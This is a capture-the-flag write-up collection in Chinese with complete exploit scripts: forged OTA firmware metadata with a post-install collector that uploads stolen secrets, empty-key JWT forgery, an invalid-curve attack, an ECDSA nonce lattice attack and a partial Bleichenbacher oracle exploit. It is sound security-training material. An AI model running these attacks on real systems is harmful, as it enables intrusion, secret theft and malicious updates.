    if not isinstance(value, list) or not value:
        raise ValueError("blocks JSON must be a non-empty list or {\"blocks\": [...]}")
    if len(value) > MAX_BLOCKS:
        raise ValueError(f"diagnostic limit is {MAX_BLOCKS} blocks, got {len(value)}")

    result: list[list[int]] = []
    for index, pair in enumerate(value):
        if not isinstance(pair, list) or len(pair) != 2:
            raise ValueError(f"block {index} must be [L, R]")
        if any(isinstance(item, bool) or not isinstance(item, int) for item in pair):
            raise ValueError(f"block {index} must contain two integers")
        left, right = pair
        if not (0 <= left <= 0xFFFF and 0 <= right <= 0xFFFF):
            raise ValueError(f"block {index} is outside the 16-bit range")
        result.append([left, right])
    return result


def validate_version(version: str) -> str:
    if not VERSION_RE.fullmatch(version):
        raise ValueError("version must match ^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$")
    if version == "loot":
        raise ValueError("version 'loot' is reserved by the callback endpoint")
    return version


def new_version() -> str:
    return "ota-" + secrets.token_hex(8)


def read_hmac_key(path: Path) -> bytes:
    """Return the exact public-key file bytes used by the vulnerable verifier."""
    raw = path.read_bytes()
    lines = raw.splitlines()
    if len(lines) != 2:
        raise ValueError("expected the RSA public-key file to contain n and e")
    int(lines[0])
    int(lines[1])
    return raw


def collector_source(
    blocks: list[list[int]], campaign: str, callback_base: str
) -> bytes:
    """Create the code run by the updater's post-install hook."""
    blocks_literal = compact_json(blocks).decode("ascii")
    campaign_literal = json.dumps(campaign)
    callback_literal = json.dumps(callback_base.rstrip("/"))
    source = f'''#!/usr/bin/env python3
import json
import os
import socket
import time
from pathlib import Path

import requests

BLOCKS = {blocks_literal}
CAMPAIGN = {campaign_literal}
CALLBACK_FALLBACK = {callback_literal}


def read_json_line(stream):
    line = stream.readline()
    if not line:
        raise RuntimeError("diagnostic service closed the connection")
    return json.loads(line.decode("utf-8"))


def collect_oracle():
    host = os.environ.get("DIAG_HOST", "127.0.0.1")
    port = int(os.environ.get("DIAG_PORT", "13400"))
    with socket.create_connection((host, port), timeout=10) as sock:
        sock.settimeout(20)
        with sock.makefile("rwb") as stream:
            banner = read_json_line(stream)
            request = {{"sid": "2E", "did": "F190", "blocks": BLOCKS}}
            stream.write((json.dumps(request, separators=(",", ":")) + "\\n").encode())
            stream.flush()
            response = read_json_line(stream)
    if response.get("status") != "ok":
        raise RuntimeError("diagnostic error: " + json.dumps(response))
    if len(response.get("ct", [])) != len(BLOCKS):
        raise RuntimeError("diagnostic response length mismatch")
    return banner, response


def main():
    loot = {{"campaign": CAMPAIGN, "oracle_blocks": BLOCKS}}
    try:
        loot["secret_block"] = Path("/chip/secret_block.enc").read_text(
            encoding="ascii"
        ).strip()
    except Exception as exc:
        loot["secret_block_error"] = repr(exc)

    try:
        banner, response = collect_oracle()
        loot["diag_banner"] = banner
        loot["oracle_ct"] = response["ct"]
        loot["diag_stored"] = response.get("stored")
    except Exception as exc:
        loot["oracle_error"] = repr(exc)

    raw = json.dumps(loot, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
    cache = Path("/tmp") / ("ssig_loot_" + CAMPAIGN + ".json")
    cache.write_bytes(raw)

    ota = os.environ.get("OTA_SERVER", CALLBACK_FALLBACK).rstrip("/")
    last_error = None
    for attempt in range(5):
        try:
            response = requests.post(
                ota + "/api/v1/admin/upload_firmware",
                data={{"version": "loot"}},
                files={{"file": ("loot.json", raw, "application/json")}},
                headers={{"Connection": "close"}},
                timeout=10,
            )
            response.raise_for_status()
            return
        except Exception as exc:
            last_error = exc
            time.sleep(1 + attempt)
    raise SystemExit("loot upload failed: " + repr(last_error))


if __name__ == "__main__":
    main()
'''
    return source.encode("utf-8")


def build_firmware_tar(
    blocks: list[list[int]], campaign: str, callback_base: str
) -> bytes:
    collector = collector_source(blocks, campaign, callback_base)
    postinst = (
        b"#!/bin/sh\n"
        b"exec python3 /opt/firmware/firmware/collect.py\n"
    )

    output = io.BytesIO()
    with tarfile.open(fileobj=output, mode="w", format=tarfile.PAX_FORMAT) as archive:
        directory = tarfile.TarInfo("firmware")
        directory.type = tarfile.DIRTYPE
        directory.mode = 0o755
        directory.mtime = 0
        archive.addfile(directory)

        for name, data, mode in (
            ("firmware/collect.py", collector, 0o644),
            ("firmware/postinst.sh", postinst, 0o755),
        ):
            member = tarfile.TarInfo(name)
            member.size = len(data)
            member.mode = mode
            member.mtime = 0
            archive.addfile(member, io.BytesIO(data))
    return output.getvalue()


def canonical_body(body: dict[str, str]) -> bytes:
    # Exactly matches vehicle/ota_meta.py:canonicalize.
    return compact_json(body, sort_keys=True)


def build_targets(
    *,
    version: str,
    firmware_url: str,
    firmware_sha256: str,
    hmac_key: bytes,
    duplicate_keys: bool,
) -> bytes:
    malicious = {
        "version": version,
        "url": firmware_url,
        "sha256": firmware_sha256,
    }
    header = {"alg": "HS256", "kid": "root"}

    if duplicate_keys:
        # first_key_loads sees only the empty/old values; json.loads sees the
        # later attacker values.  The HMAC is over the first-key view.
        signed = {"version": "0.0.0", "url": "", "sha256": ""}
        pairs = (
            ("version", signed["version"]),
            ("version", malicious["version"]),
            ("url", signed["url"]),
            ("url", malicious["url"]),
            ("sha256", signed["sha256"]),
            ("sha256", malicious["sha256"]),
        )
        body_text = "{" + ",".join(
            json.dumps(key) + ":" + json.dumps(value) for key, value in pairs
        ) + "}"
    else:
        # This is the minimal exploit: public-key-as-HMAC-key confusion alone
        # permits signing the exact body the updater will use.
        signed = malicious
        body_text = compact_json(malicious).decode("utf-8")

    signature = hmac.new(hmac_key, canonical_body(signed), hashlib.sha256).hexdigest()
    return (
        b'{"header":'
        + compact_json(header)
        + b',"body":'
        + body_text.encode("utf-8")
        + b',"sig":'
        + compact_json(signature)
        + b"}"
    )


def build_bundle(args: argparse.Namespace) -> dict[str, Any]:
    version = validate_version(args.version or new_version())
    blocks = load_blocks(Path(args.blocks_json))
    pubkey_path = Path(args.pubkey)
    hmac_key = read_hmac_key(pubkey_path)
    internal_base = args.internal_ota.rstrip("/")

    firmware = build_firmware_tar(blocks, version, internal_base)
    firmware_sha256 = hashlib.sha256(firmware).hexdigest()
    firmware_url = (
        internal_base
        + "/api/v1/firmware/"
        + urllib.parse.quote(version, safe="")
    )
    targets = build_targets(
        version=version,
        firmware_url=firmware_url,
        firmware_sha256=firmware_sha256,
        hmac_key=hmac_key,
        duplicate_keys=args.duplicate_keys,
    )

    out_dir = Path(args.out)
    out_dir.mkdir(parents=True, exist_ok=True)
    firmware_path = out_dir / f"firmware_{version}.tar"
    targets_path = out_dir / f"targets_{version}.json"
    manifest_path = out_dir / f"manifest_{version}.json"
    firmware_path.write_bytes(firmware)
    targets_path.write_bytes(targets)
    manifest = {
        "version": version,
        "blocks": len(blocks),
        "duplicate_keys": bool(args.duplicate_keys),
        "firmware_path": str(firmware_path),
        "targets_path": str(targets_path),
        "firmware_sha256": firmware_sha256,
        "targets_sha256": hashlib.sha256(targets).hexdigest(),
        "firmware_url": firmware_url,
    }
    manifest_path.write_text(
        json.dumps(manifest, indent=2, ensure_ascii=False) + "\n",
        encoding="utf-8",
    )
    manifest["manifest_path"] = str(manifest_path)
    manifest["firmware_bytes"] = firmware
    manifest["targets_bytes"] = targets
    return manifest


def normalize_base_url(value: str) -> str:
    if "://" not in value:
        value = "http://" + value
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in ("http", "https") or not parsed.netloc:
        raise ValueError("base URL must be an HTTP(S) URL")
    return value.rstrip("/")


def one_http_request(
    method: str,
    url: str,
    *,
    body: bytes | None = None,
    content_type: str | None = None,
    timeout: float = 15,
) -> tuple[int, bytes]:
    """Make exactly one request on a newly-created HTTP connection."""
    headers = {
        "Connection": "close",
        "User-Agent": "ssignature-ota-chain/1",
        "Accept": "application/json",
    }
    if content_type:
        headers["Content-Type"] = content_type
    request = urllib.request.Request(url, data=body, headers=headers, method=method)
    try:
        with urllib.request.urlopen(request, timeout=timeout) as response:
            return response.status, response.read()
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read()


def multipart_firmware(version: str, firmware: bytes) -> tuple[bytes, str]:
    boundary = "----ssig-" + secrets.token_hex(16)
    marker = boundary.encode("ascii")
    body = bytearray()
    body += b"--" + marker + b"\r\n"
    body += b'Content-Disposition: form-data; name="version"\r\n\r\n'
    body += version.encode("ascii") + b"\r\n"
    body += b"--" + marker + b"\r\n"
    body += (
        b'Content-Disposition: form-data; name="file"; filename="firmware.tar"\r\n'
    )
    body += b"Content-Type: application/octet-stream\r\n\r\n"
    body += firmware + b"\r\n"
    body += b"--" + marker + b"--\r\n"
    return bytes(body), "multipart/form-data; boundary=" + boundary


def decode_json(raw: bytes) -> Any:
    try:
        return json.loads(raw.decode("utf-8"))
    except Exception:
        return {"raw": raw.decode("utf-8", errors="replace")}


def require_success(label: str, status: int, raw: bytes) -> Any:
    value = decode_json(raw)
    if not 200 <= status < 300:
        raise RuntimeError(f"{label} failed with HTTP {status}: {value!r}")
    return value


def cmd_build(args: argparse.Namespace) -> int:
    bundle = build_bundle(args)
    summary = {key: value for key, value in bundle.items() if not key.endswith("_bytes")}
    print(json.dumps(summary, indent=2, ensure_ascii=False))
    return 0


def cmd_deploy(args: argparse.Namespace) -> int:
    bundle = build_bundle(args)
    base = normalize_base_url(args.base_url)

    upload_body, upload_type = multipart_firmware(
        bundle["version"], bundle["firmware_bytes"]
    )
    status, raw = one_http_request(
        "POST",
        base + "/api/v1/admin/upload_firmware",
        body=upload_body,
        content_type=upload_type,
        timeout=args.http_timeout,
    )
    upload_result = require_success("firmware upload", status, raw)

    status, raw = one_http_request(
        "POST",
        base + "/api/v1/admin/set_targets",
        body=bundle["targets_bytes"],
        content_type="application/json",
        timeout=args.http_timeout,
    )
    targets_result = require_success("metadata update", status, raw)
    print(json.dumps({
        "campaign": bundle["version"],
        "upload": upload_result,
        "targets": targets_result,
        "next": "poll after the updater interval; do not deploy another oracle set",
    }, indent=2, ensure_ascii=False))
    return 0


def cmd_poll(args: argparse.Namespace) -> int:
    campaign = validate_version(args.campaign)
    base = normalize_base_url(args.base_url)
    deadline = time.monotonic() + args.wait
    last_status: tuple[int, Any] | None = None
    while True:
        status, raw = one_http_request(
            "GET",
            base + "/api/v1/firmware/loot",
            timeout=args.http_timeout,
        )
        value = decode_json(raw)
        last_status = (status, value)
        if 200 <= status < 300 and isinstance(value, dict):
            if value.get("campaign") == campaign:
                out_dir = Path(args.out)
                out_dir.mkdir(parents=True, exist_ok=True)
                path = out_dir / f"loot_{campaign}.json"
                path.write_text(
                    json.dumps(value, indent=2, ensure_ascii=False) + "\n",
                    encoding="utf-8",
                )
                print(json.dumps({"loot_path": str(path), "loot": value}, indent=2))
                return 0
        if time.monotonic() >= deadline:
            raise TimeoutError(f"loot for {campaign!r} not received; last={last_status!r}")
        time.sleep(args.interval)


def cmd_submit(args: argparse.Namespace) -> int:
    secret = args.secret.strip().lower()
    if not re.fullmatch(r"[0-9a-f]{32}", secret):
        raise ValueError("secret must be exactly 32 hexadecimal characters")
    base = normalize_base_url(args.base_url)
    status, raw = one_http_request(
        "POST",
        base + "/api/v1/submit_secret",
        body=compact_json({"secret": secret}),
        content_type="application/json",
        timeout=args.http_timeout,
    )
    value = decode_json(raw)
    print(json.dumps({"http_status": status, "response": value}, indent=2))
    return 0 if 200 <= status < 300 else 1


def add_bundle_arguments(parser: argparse.ArgumentParser) -> None:
    parser.add_argument(
        "--blocks-json",
        required=True,
        help="exact non-adaptive oracle blocks selected by the crypto stage",
    )
    parser.add_argument("--version", help="campaign/version; random when omitted")
    parser.add_argument("--pubkey", default=str(DEFAULT_PUBKEY))
    parser.add_argument(
        "--internal-ota",
        default="http://127.0.0.1:8080",
        help="URL reachable by the updater and callback payload",
    )
    parser.add_argument(
        "--duplicate-keys",
        action="store_true",
        help="also exercise first-key/last-key JSON parser confusion",
    )
    parser.add_argument("--out", default=str(DEFAULT_OUTPUT))


def parser() -> argparse.ArgumentParser:
    root = argparse.ArgumentParser(description=__doc__)
    commands = root.add_subparsers(dest="command", required=True)

    build = commands.add_parser("build", help="build artifacts only; no network")
    add_bundle_arguments(build)
    build.set_defaults(func=cmd_build)

    deploy = commands.add_parser(
        "deploy", help="build, upload firmware, and publish forged metadata"
    )
    add_bundle_arguments(deploy)
    deploy.add_argument("--base-url", required=True)
    deploy.add_argument("--http-timeout", type=float, default=15)
    deploy.set_defaults(func=cmd_deploy)

    poll = commands.add_parser("poll", help="poll the HTTP loot callback endpoint")
    poll.add_argument("--base-url", required=True)
    poll.add_argument("--campaign", required=True)
    poll.add_argument("--wait", type=float, default=120)
    poll.add_argument("--interval", type=float, default=3)
    poll.add_argument("--http-timeout", type=float, default=15)
    poll.add_argument("--out", default=str(DEFAULT_OUTPUT))
    poll.set_defaults(func=cmd_poll)

    submit = commands.add_parser("submit", help="submit a recovered 16-byte secret")
    submit.add_argument("--base-url", required=True)
    submit.add_argument("--secret", required=True)
    submit.add_argument("--http-timeout", type=float, default=15)
    submit.set_defaults(func=cmd_submit)
    return root


def main() -> int:
    args = parser().parse_args()
    try:
        return args.func(args)
    except (OSError, ValueError, RuntimeError, TimeoutError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2


if __name__ == "__main__":
    raise SystemExit(main())
requirements.txt
pycryptodome
requests

Flag

flag{uuG4hmmMHYLMOkV1k42u7hLDIfX5DtlaDd3a9wMO}

2. Off the Curve

题目分析

登录后可以下载目标报告 rpt-042 的原始 JSON 信封。信封声明使用 NS-HPKE-DIAG-1,并直接给出实现所用的 /sdk.js。报告本身由 AES-256-GCM 加密,密钥材料依赖一个服务端私有标量,因此需要先恢复这个标量。

认证配置返回以下关键字段:

  • 签名算法为 HS256
  • 网关兼容版本为 fast-jwt-compatible/6.2.3
  • 密钥解析方式为 async-kid

该版本的异步密钥解析存在空 HMAC 密钥问题。提交未知 kid 时,应用的解析器返回空字符串,验证器会把它转换成零长度密钥并继续验证 HS256。于是可以用空字节串计算 HMAC,伪造 role=admin 的令牌,从而访问兼容性诊断接口。

SDK 中的旧版压缩点解码逻辑为:

rhs = x^3 + ax + b
y = rhs^((p+1)/4) mod p

因为 p ≡ 3 mod 4,这个公式只在 rhs 是二次剩余时才能得到平方根。旧版代码没有检查最终点是否满足原曲线方程。历史客户端中的四个压缩公钥都被解码成了曲线外点,点加法公式却仍会继续运算。每个点实际位于具有相同 a、不同 b 的另一条曲线上,并且具有较小的阶。

诊断接口返回:

tag = SHA256("DOCSHARE-DIAG\0" || key_id || nonce || encodeFull(d·P))[:16]

其中 d 是服务端私有标量,P 是对应历史客户端公钥。逐个遍历小子群中的点并比较诊断标签,可以准确求出 d 对各点阶的余数:

客户端 点阶 私有标量余数
legacy-android-01 3257 1570
legacy-browser-02 4079 3188
legacy-rn-03 3863 1467
legacy-browser-04 2843 826

对这些同余式使用中国剩余定理:

d = 203573841
combined modulus = 145905959765227

SDK 把私有标量限制在无符号 32 位整数内,而合并后的模数远大于 2^32,所以该结果在允许范围内唯一。

目标报告的接收方公钥 02315f 位于声明曲线上。计算 d·P 后,严格复现 SDK 的派生过程:

  1. 对规范化 info 计算 SHA-256。
  2. 使用私有标量、info 摘要计算 scalar binding。
  3. 以共享点和 binding 为输入执行 scrypt,参数为 N=32768, r=8, p=1。
  4. 使用 HMAC-SHA256 派生 AES-256-GCM 密钥。
  5. 使用规范化的 {info, aad} 作为附加认证数据解密。

解密得到:

NORTHSTAR CONFIDENTIAL TEST REPORT
project=Roadrunner Collaboration
report_id=rpt-042
finding=legacy compressed-key validation diverges from curve membership
recovery_token=flag{T5vb5kiPKeWA8u4h7wko4cvwITWVj0d8edGbo7il}
END REPORT

Exp

运行环境需要 Node.js 18 或更高版本,无需第三方依赖。

#!/usr/bin/env node

const crypto = require('crypto');

const BASE = (process.argv[2] || 'http://jrtvsvwh.nestctf.cyberpeace.cn:58080').replace(/\/$/, '');
const USERNAME = 'analyst@northstar.test';
const PASSWORD = 'Curve-Review-2026';

const curve = {
  p: 65519n,
  a: 1n,
  b: 7n,
};

function mod(value, modulus = curve.p) {
  const result = value % modulus;
  return result < 0n ? result + modulus : result;
}

function modPow(base, exponent, modulus = curve.p) {
  let result = 1n;
  base = mod(base, modulus);
  while (exponent > 0n) {
    if (exponent & 1n) result = mod(result * base, modulus);
    base = mod(base * base, modulus);
    exponent >>= 1n;
  }
  return result;
}

function pointAdd(left, right) {
  if (left === null) return right;
  if (right === null) return left;
  const [x1, y1] = left;
  const [x2, y2] = right;
  if (x1 === x2 && mod(y1 + y2) === 0n) return null;

  const slope = x1 === x2 && y1 === y2
    ? mod((3n * x1 * x1 + curve.a) * modPow(2n * y1, curve.p - 2n))
    : mod((y2 - y1) * modPow(x2 - x1, curve.p - 2n));
  const x3 = mod(slope * slope - x1 - x2);
  return [x3, mod(slope * (x1 - x3) - y1)];
}

function pointMul(scalar, point) {
  let result = null;
  for (scalar = BigInt(scalar); scalar > 0n; scalar >>= 1n, point = pointAdd(point, point)) {
    if (scalar & 1n) result = pointAdd(result, point);
  }
  return result;
}

// This deliberately reproduces the vulnerable legacy decoder from /sdk.js.
// For a quadratic non-residue it returns an off-curve point instead of rejecting it.
function decodeCompressedLegacy(encoded) {
  if (!/^0[23][0-9a-f]{4}$/i.test(encoded)) throw new Error(`Bad compressed point: ${encoded}`);
  const prefix = Number.parseInt(encoded.slice(0, 2), 16);
  const x = BigInt(`0x${encoded.slice(2)}`);
  const rhs = mod(x * x * x + curve.a * x + curve.b);
  let y = modPow(rhs, (curve.p + 1n) / 4n);
  if (Number(y & 1n) !== (prefix & 1)) y = mod(-y);
  return [x, y];
}

function isOnDeclaredCurve(point) {
  if (point === null) return false;
  const [x, y] = point;
  return mod(y * y - (x * x * x + curve.a * x + curve.b)) === 0n;
}

function encodeFull(point) {
  if (point === null) return Buffer.from([0]);
  const [x, y] = point;
  return Buffer.from([4, Number(x >> 8n), Number(x & 255n), Number(y >> 8n), Number(y & 255n)]);
}

function pointOrder(point) {
  let current = null;
  for (let order = 1n; order <= 200000n; order++) {
    current = pointAdd(current, point);
    if (current === null) return order;
  }
  throw new Error('Point order exceeded the expected small-field bound');
}

function diagnosticDigest(keyId, nonceHex, sharedPoint) {
  return crypto.createHash('sha256').update(Buffer.concat([
    Buffer.from(`DOCSHARE-DIAG\0${keyId}`, 'utf8'),
    Buffer.from(nonceHex, 'hex'),
    encodeFull(sharedPoint),
  ])).digest().subarray(0, 16);
}

function recoverResidue(record, receipt, order) {
  const expected = Buffer.from(receipt.tag, 'hex');
  let shared = null;
  for (let scalar = 0n; scalar < order; scalar++) {
    const candidate = diagnosticDigest(record.id, receipt.nonce, shared);
    if (crypto.timingSafeEqual(candidate, expected)) return scalar;
    shared = pointAdd(shared, record.point);
  }
  throw new Error(`No scalar residue matched diagnostic tag for ${record.id}`);
}

function extendedGcd(a, b) {
  let oldR = a, r = b;
  let oldS = 1n, s = 0n;
  while (r !== 0n) {
    const quotient = oldR / r;
    [oldR, r] = [r, oldR - quotient * r];
    [oldS, s] = [s, oldS - quotient * s];
  }
  return [oldR, oldS];
}

function inverse(value, modulus) {
  const [gcd, coefficient] = extendedGcd(mod(value, modulus), modulus);
  if (gcd !== 1n) throw new Error('Diagnostic subgroup orders are not coprime');
  return mod(coefficient, modulus);
}

function combineCongruences(congruences) {
  let value = 0n;
  let modulus = 1n;
  for (const [residue, nextModulus] of congruences) {
    const step = mod(residue - value, nextModulus) * inverse(modulus, nextModulus) % nextModulus;
    value += modulus * step;
    modulus *= nextModulus;
    value = mod(value, modulus);
  }
  return [value, modulus];
}

function base64Url(data) {
  return Buffer.from(data).toString('base64url');
}

function forgeAdminToken() {
  const now = Math.floor(Date.now() / 1000);
  const header = base64Url(JSON.stringify({ alg: 'HS256', kid: `missing-${now}`, typ: 'JWT' }));
  const payload = base64Url(JSON.stringify({
    aud: 'northstar-docs',
    exp: now + 7200,
    iss: 'northstar-auth',
    role: 'admin',
    scope: ['projects:read', 'reports:read', 'keys:read', 'audit:read', 'diagnostics:run', 'keys:write'],
    sub: 'admin@northstar.test',
  }));
  const input = `${header}.${payload}`;
  const signature = crypto.createHmac('sha256', Buffer.alloc(0)).update(input).digest('base64url');
  return `${input}.${signature}`;
}

async function request(path, { method = 'GET', token, body, binary = false } = {}) {
  const headers = {};
  if (token) headers.Authorization = `Bearer ${token}`;
  if (body !== undefined) headers['Content-Type'] = 'application/json';
  const response = await fetch(`${BASE}${path}`, {
    method,
    headers,
    body: body === undefined ? undefined : JSON.stringify(body),
  });
  if (!response.ok) {
    const detail = await response.text();
    throw new Error(`${method} ${path}: HTTP ${response.status}: ${detail}`);
  }
  return binary ? Buffer.from(await response.arrayBuffer()) : response.json();
}

function compareCodePoints(left, right) {
  const a = Array.from(left, (char) => char.codePointAt(0));
  const b = Array.from(right, (char) => char.codePointAt(0));
  for (let i = 0; i < Math.min(a.length, b.length); i++) {
    if (a[i] !== b[i]) return a[i] - b[i];
  }
  return a.length - b.length;
}

function canonicalJson(value) {
  if (value === null || typeof value === 'boolean' || typeof value === 'string') return JSON.stringify(value);
  if (typeof value === 'number' && Number.isSafeInteger(value)) return JSON.stringify(value);
  if (Array.isArray(value)) return `[${value.map(canonicalJson).join(',')}]`;
  if (value && Object.getPrototypeOf(value) === Object.prototype) {
    return `{${Object.keys(value).sort(compareCodePoints)
      .map((key) => `${JSON.stringify(key)}:${canonicalJson(value[key])}`).join(',')}}`;
  }
  throw new TypeError('Unsupported record value');
}

function decryptEnvelope(envelope, privateScalar) {
  const recipient = decodeCompressedLegacy(envelope.recipient_public_key);
  if (!isOnDeclaredCurve(recipient)) throw new Error('Report recipient key should be on the declared curve');
  const sharedPoint = pointMul(privateScalar, recipient);
  const infoHash = crypto.createHash('sha256').update(canonicalJson(envelope.info)).digest();
  const scalarBytes = Buffer.alloc(4);
  scalarBytes.writeUInt32BE(Number(privateScalar));
  const binding = crypto.createHash('sha256').update(Buffer.concat([
    Buffer.from('northstar-report-scalar-binding\0', 'utf8'),
    scalarBytes,
    infoHash,
  ])).digest();
  const iv = Buffer.from(envelope.nonce, 'hex');
  const master = crypto.scryptSync(
    Buffer.concat([encodeFull(sharedPoint), binding]),
    Buffer.concat([Buffer.from('northstar-report-v3\0', 'utf8'), iv, infoHash]),
    32,
    { N: 32768, r: 8, p: 1, maxmem: 64 * 1024 * 1024 },
  );
  const aeadKey = crypto.createHmac('sha256', master).update(Buffer.concat([
    Buffer.from('northstar-aes256-gcm-key\0', 'utf8'),
    infoHash,
  ])).digest();
  const decipher = crypto.createDecipheriv('aes-256-gcm', aeadKey, iv);
  decipher.setAAD(Buffer.from(canonicalJson({ info: envelope.info, aad: envelope.aad }), 'utf8'));
  decipher.setAuthTag(Buffer.from(envelope.tag, 'hex'));
  return Buffer.concat([
    decipher.update(Buffer.from(envelope.ciphertext, 'base64')),
    decipher.final(),
  ]).toString('utf8');
}

async function main() {
  const login = await request('/api/v1/login', {
    method: 'POST',
    body: { username: USERNAME, password: PASSWORD },
  });
  const analystToken = login.token;
  const [keyResponse, envelopeBytes] = await Promise.all([
    request('/api/v1/projects/prj-northstar/keys', { token: analystToken }),
    request('/api/v1/reports/rpt-042/download', { token: analystToken, binary: true }),
  ]);
  const envelope = JSON.parse(envelopeBytes.toString('utf8'));

  const vulnerableRecords = keyResponse.keys
    .filter((record) => record.key_version === envelope.key_version && record.diagnostic_frozen)
    .map((record) => ({ ...record, point: decodeCompressedLegacy(record.public_key) }));
  if (vulnerableRecords.length < 3) throw new Error('Not enough archived diagnostics to recover the 32-bit scalar');

  const adminToken = forgeAdminToken();
  const congruences = [];
  for (const record of vulnerableRecords) {
    const receipt = await request('/api/v1/diagnostics/compat', {
      method: 'POST',
      token: adminToken,
      body: { key_id: record.id },
    });
    const order = pointOrder(record.point);
    const residue = recoverResidue(record, receipt, order);
    congruences.push([residue, order]);
    console.log(`${record.id}: on_curve=${isOnDeclaredCurve(record.point)}, order=${order}, scalar≡${residue}`);
  }

  const [privateScalar, combinedModulus] = combineCongruences(congruences);
  if (combinedModulus <= 0xffffffffn) throw new Error('CRT modulus does not uniquely cover a 32-bit scalar');
  if (privateScalar <= 0n || privateScalar > 0xffffffffn) throw new Error('Recovered scalar is outside the SDK range');

  const plaintext = decryptEnvelope(envelope, privateScalar);
  console.log(`private_scalar=${privateScalar}`);
  console.log(plaintext);
  const flag = plaintext.match(/flag\{[^}\r\n]+\}/)?.[0];
  if (!flag) throw new Error('Decryption succeeded but no flag was present');
  console.log(`FLAG=${flag}`);
}

main().catch((error) => {
  console.error(error.stack || error.message);
  process.exitCode = 1;
});

Flag

flag{T5vb5kiPKeWA8u4h7wko4cvwITWVj0d8edGbo7il}

3. Immobilizer

Immobilizer — Write-up

项目 内容
类型 Crypto / ECDSA 偏置 nonce(HNP 格攻击)
结果 flag{top_byte_of_the_nonce}

1. 数据

data.json:secp256k1、n、G、公钥、40 条 ECDSA 签名(msg = immobilizer|vin=LDC613P23A0000001|ctr=N)、以及一个 27 字节的 sealed:

{"curve":"secp256k1","n":"...","G":{...},"public_key":{"x":"...","y":"..."},
 "signatures":[{"msg":"immobilizer|vin=LDC613P23A0000001|ctr=0","r":"...","s":"..."}, ... 40 条],
 "sealed":"50bbc6a269fd17bb9f2f057da88ee2ce80504261010d80ebddcd27"}

目标:从签名恢复防盗芯片私钥 d,再解封 sealed。

2. 先排除常见坑

  • 40 条 r 互不相同 → 无 nonce 复用,d=(s₁z₂−s₂z₁)/(r₁s₂−r₂s₁) 不通;
  • s 无小值、无截断迹象,r/s 全满位宽 → 只能从统计层面的 nonce 偏置下手。

3. 漏洞:nonce 只有 248 位

ECDSA 关系 k_i = s_i⁻¹(z_i + r_i·d) mod n(z_i = sha256(msg_i) mod n)。芯片生成 k 时最高字节恒为 0,即 0 ≤ k_i < 2²⁴⁸,教科书级 HNP。每条泄漏 8 bit,门限 t > 256/8 = 32,题目正好给 40 条。解出 d 后回算确认:

nonce top byte (all 40): [0]     max bitlen: 248

4. 格攻击

记 A_i = r_i·s_i⁻¹ mod n、B_i = z_i·s_i⁻¹ mod n,则 k_i ≡ A_i·d + B_i (mod n) 且 0 ≤ k_i < K = 2²⁴⁸。构造(整体乘 n 消掉 K/n 有理项):

     ⎡ n²·I_t     0     0 ⎤
L =  ⎢ n·A        K     0 ⎥
     ⎣ n·B        0    n·K ⎦

取组合 v = d·(A行) + 1·(B行) − Σ c_i·(I行)(c_i = ⌊(d·A_i+B_i)/n⌋):前 t 坐标 ≈ n·k_i,第 t 坐标 = d·K,第 t+1 = n·K。‖v‖≈nK√(t+2) 而基向量 ≈n²,短 n/(K√(t+2)) ≈ 2⁸/6.5 ≈ 40 倍 → LLL 直接捞出,d = v[t]/K,再 d·G == Q 验证。

关键 PoC(fpylll + 手写 secp256k1 倍点,不依赖 Sage):

from fpylll import IntegerMatrix, LLL

def build(z, t, l):                      # l = nonce 前导零比特数
    K  = 1 << (256 - l)
    A  = [(R[i] * pow(S[i], -1, n)) % n for i in range(t)]
    Bc = [(z[i] * pow(S[i], -1, n)) % n for i in range(t)]
    M = IntegerMatrix(t + 2, t + 2)
    for i in range(t):
        M[i, i]     = n * n              # n²·I
        M[t, i]     = A[i] * n           # n·A
        M[t + 1, i] = Bc[i] * n          # n·B
    M[t, t], M[t + 1, t + 1] = K, n * K
    return M, K

def solve(z, t=40, l=8):
    M, K = build(z, t, l)
    LLL.reduction(M)
    for i in range(M.nrows):
        row = [int(M[i, j]) for j in range(M.ncols)]
        if row[t] % K:                   # 第 t 坐标必须是 d·K 的整倍
            continue
        for cand in (row[t] // K, -(row[t] // K)):
            d = cand % n
            if ec_mul(d) == (Qx, Qy):
                return d

# z_i = int(sha256(msg).digest()) % n;实测 l=8 第一发命中
d = 0x8fd7fa690b0b0cf8f897127c005d3def0ce98e8dca000ab00205cd156818f097

验证:d·G == Q -> True;回算 40 个 nonce 最高字节全 0、位长 241–248。
(偏置更小时同一格改用 BKZ.Param(block_size=20..30) 即可。)

5. 解封 sealed

27 字节恰等于一个 flag{...} 的长度,且没有额外 nonce/tag → 确定性流,密钥由私钥派生:

key  = hashlib.sha256(d.to_bytes(32, "big")).digest()
flag = bytes(a ^ b for a, b in zip(sealed, key))
# b'flag{top_byte_of_the_nonce}'

4. Premaster

漏洞分析

服务端使用 2048 位 RSA 和 PKCS#1 v1.5 类型 2 填充。令模数长度为 k 字节,并定义:

B = 2^(8(k-2))

任何通过前两个字节检查的解密整数都满足:

2B <= m <= 3B-1

每次连接时,服务端发送当前会话的密文 c 和乘数 s。原始明文 m 以及 (m*s) mod n 都能通过完整填充检查。连接内还可以提交任意密文,并通过 ok 或 bad 获得填充预言机结果。由于每次重连都会重新生成随机填充,攻击全过程必须维持同一条 TLS 连接。

服务端检查了分隔零字节的位置,因此 ok 是区间条件的充分条件,bad 却不能直接排除整个数学区间。攻击只利用每个 ok 结果更新候选区间,仍然可以精确收敛。

重盲化

利用服务端给出的合规乘数构造:

c' = c * s^e mod n
m' = m * s mod n

m' 已知能通过填充检查,可以把 c' 当作一份新的合规初始密文执行标准 Bleichenbacher 攻击。恢复 m' 后计算:

m = m' * s^(-1) mod n

这样避免直接使用泄露乘数更新原始区间后,下一次合规乘数可能距离很远的问题。

对当前候选区间 [a,b] 和合规乘数 s_i,枚举所有可能的整数 r:

ceil((a*s_i-(3B-1))/n) <= r <= floor((b*s_i-2B)/n)

并与下列新区间求交:

[ceil((2B+r*n)/s_i), floor((3B-1+r*n)/s_i)]

当只剩一个区间时,使用 Bleichenbacher 的单区间搜索公式生成候选乘数。为了降低网络往返开销,Exp 每次流水发送 128 个密文并按顺序接收结果。

Exp

#!/usr/bin/env python3

import math
import re
import socket
import ssl
import sys


